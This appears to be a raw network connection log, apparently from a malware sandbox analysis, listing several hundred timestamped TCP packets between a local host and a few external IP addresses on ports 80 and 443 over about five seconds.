Dec 10, 2024 05:10:30.834214926 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.834260941 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.834295988 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.834333897 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.834357977 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:30.835249901 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.835295916 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.835309029 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.835344076 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.836250067 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.836301088 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.836365938 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.836406946 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.837270975 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.837318897 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.837390900 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.837430000 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.838294983 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.838339090 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.838391066 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.838426113 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.839361906 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.839404106 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.839488983 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.839533091 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.840342045 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.840387106 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.840456963 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.840616941 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.841347933 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.841382980 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.841471910 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.841509104 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.842356920 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.842395067 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.842468023 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.842510939 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.843386889 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.843425035 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.843491077 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.843525887 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.844417095 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.844455957 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.844664097 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.844707966 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.845427036 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.845469952 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.845546961 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.845588923 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.846539974 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.846601009 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.846669912 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.846714973 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.847487926 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.847579002 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.847580910 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.847631931 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.915811062 CET	49887	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:30.915860891 CET	443	49887	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:30.915955067 CET	49887	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:30.916354895 CET	49887	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:30.916368008 CET	443	49887	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:30.973206043 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.973272085 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.973463058 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.973503113 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.973643064 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.973654032 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.973674059 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.973701954 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.973855972 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.974544048 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.974555016 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.974581003 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.974596977 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.975483894 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.975528955 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.990416050 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.990456104 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.990585089 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.990623951 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.990920067 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.990955114 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.991097927 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.991133928 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.991966009 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.992003918 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.992155075 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.992188931 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.992995977 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.993047953 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.993180037 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.993218899 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.994065046 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.994100094 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.994136095 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.994167089 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.995107889 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.995155096 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.995181084 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.995213985 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.995985985 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.995996952 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.996023893 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.996042967 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.997107029 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.997147083 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.997224092 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.997260094 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.998008966 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.998044968 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.998261929 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.998297930 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.998596907 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.998627901 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.998703003 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.998742104 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.999638081 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.999681950 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.999705076 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.999735117 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.000732899 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:31.000777006 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.000818968 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:31.000854015 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.001672983 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:31.001729012 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.001791000 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:31.001833916 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.002676010 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:31.002716064 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.002804995 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:31.002846003 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.003729105 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:31.003763914 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.003833055 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:31.003875017 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.004796028 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:31.004836082 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.004877090 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:31.004916906 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.005765915 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:31.005801916 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.005908012 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:31.005940914 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.006753922 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:31.006792068 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:31.187978983 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.188136101 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.197927952 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.317220926 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.755732059 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.755812883 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.755829096 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.755903959 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.755930901 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.755942106 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.755949020 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.755951881 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.755964994 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.756011009 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.756011009 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.756104946 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.756170988 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.764038086 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.764116049 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.764223099 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.772408009 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.772497892 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.772583008 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.947767019 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.947916031 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.947993040 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.951733112 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.951854944 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.951919079 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.959701061 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.959810019 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.959876060 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.967638969 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.967746973 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.967820883 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.975641966 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.975788116 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.975868940 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.983489990 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.983549118 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.983623028 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.983752012 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.991477966 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.991556883 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.991584063 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.991628885 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.999423981 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.999490023 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:31.999536991 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:31.999598980 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.007373095 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.007458925 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.007514954 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.015297890 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.015345097 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.015480995 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.018683910 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.023256063 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.023339987 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.023375034 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.023551941 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.031199932 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.031280041 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.031282902 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.031403065 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.128264904 CET	443	49887	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:32.128326893 CET	49887	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:32.129565954 CET	49887	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:32.129570961 CET	443	49887	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:32.129765034 CET	443	49887	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:32.132205009 CET	49887	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:32.132350922 CET	49887	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:32.132376909 CET	443	49887	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:32.139970064 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.139980078 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.140077114 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.141725063 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.141813993 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.141843081 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.141889095 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.148392916 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.148542881 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.148643017 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.155055046 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.155136108 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.155224085 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.161756992 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.161902905 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.161979914 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.168077946 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.168131113 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.168195009 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.173907995 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.173955917 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.174011946 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.179817915 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.180011034 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.180075884 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.185681105 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.185826063 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.185914040 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.191603899 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.191701889 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.191780090 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.197568893 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.197679996 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.197710037 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.197730064 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.203444004 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.203491926 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.203538895 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.203850031 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.209387064 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.209461927 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.209496021 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.209537983 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.215296984 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.215467930 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.215539932 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.221180916 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.221318007 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.221386909 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.227099895 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.227216005 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.227273941 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.233026981 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.233109951 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.233161926 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.238984108 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.239043951 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.239130020 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.244903088 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.244983912 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.245048046 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.250798941 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.250900030 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.250957966 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.256711960 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.259102106 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.331845999 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.331867933 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.331954956 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.334256887 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.334295988 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.334440947 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.353880882 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:32.473155975 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.848428965 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:32.848516941 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:33.038244963 CET	443	49887	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:33.038321972 CET	443	49887	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:33.038440943 CET	49887	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:33.326607943 CET	49887	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:33.326637983 CET	443	49887	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:33.573277950 CET	49868	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:33.573600054 CET	49893	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:33.693294048 CET	80	49893	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:33.693306923 CET	80	49868	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:33.693367004 CET	49893	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:33.693393946 CET	49868	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:33.693643093 CET	49893	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:33.812829018 CET	80	49893	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:33.816519022 CET	49894	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:33.816579103 CET	443	49894	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:33.816644907 CET	49894	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:33.817033052 CET	49894	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:33.817049980 CET	443	49894	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:34.094537973 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:34.213804007 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:34.213939905 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:34.214178085 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:34.333374977 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:35.025237083 CET	443	49894	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:35.025307894 CET	49894	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:35.027297974 CET	49894	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:35.027307987 CET	443	49894	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:35.027574062 CET	443	49894	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:35.032258987 CET	49894	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:35.032388926 CET	49894	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:35.032429934 CET	443	49894	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:35.033143044 CET	49894	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:35.033150911 CET	443	49894	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:35.038702011 CET	80	49893	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:35.039110899 CET	49893	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:35.040513992 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:35.040822983 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:35.160043955 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:35.160058022 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:35.160166979 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:35.160187006 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:35.160408020 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:35.279571056 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:35.545794010 CET	80	49895	185.215.113.206	192.168.2.5
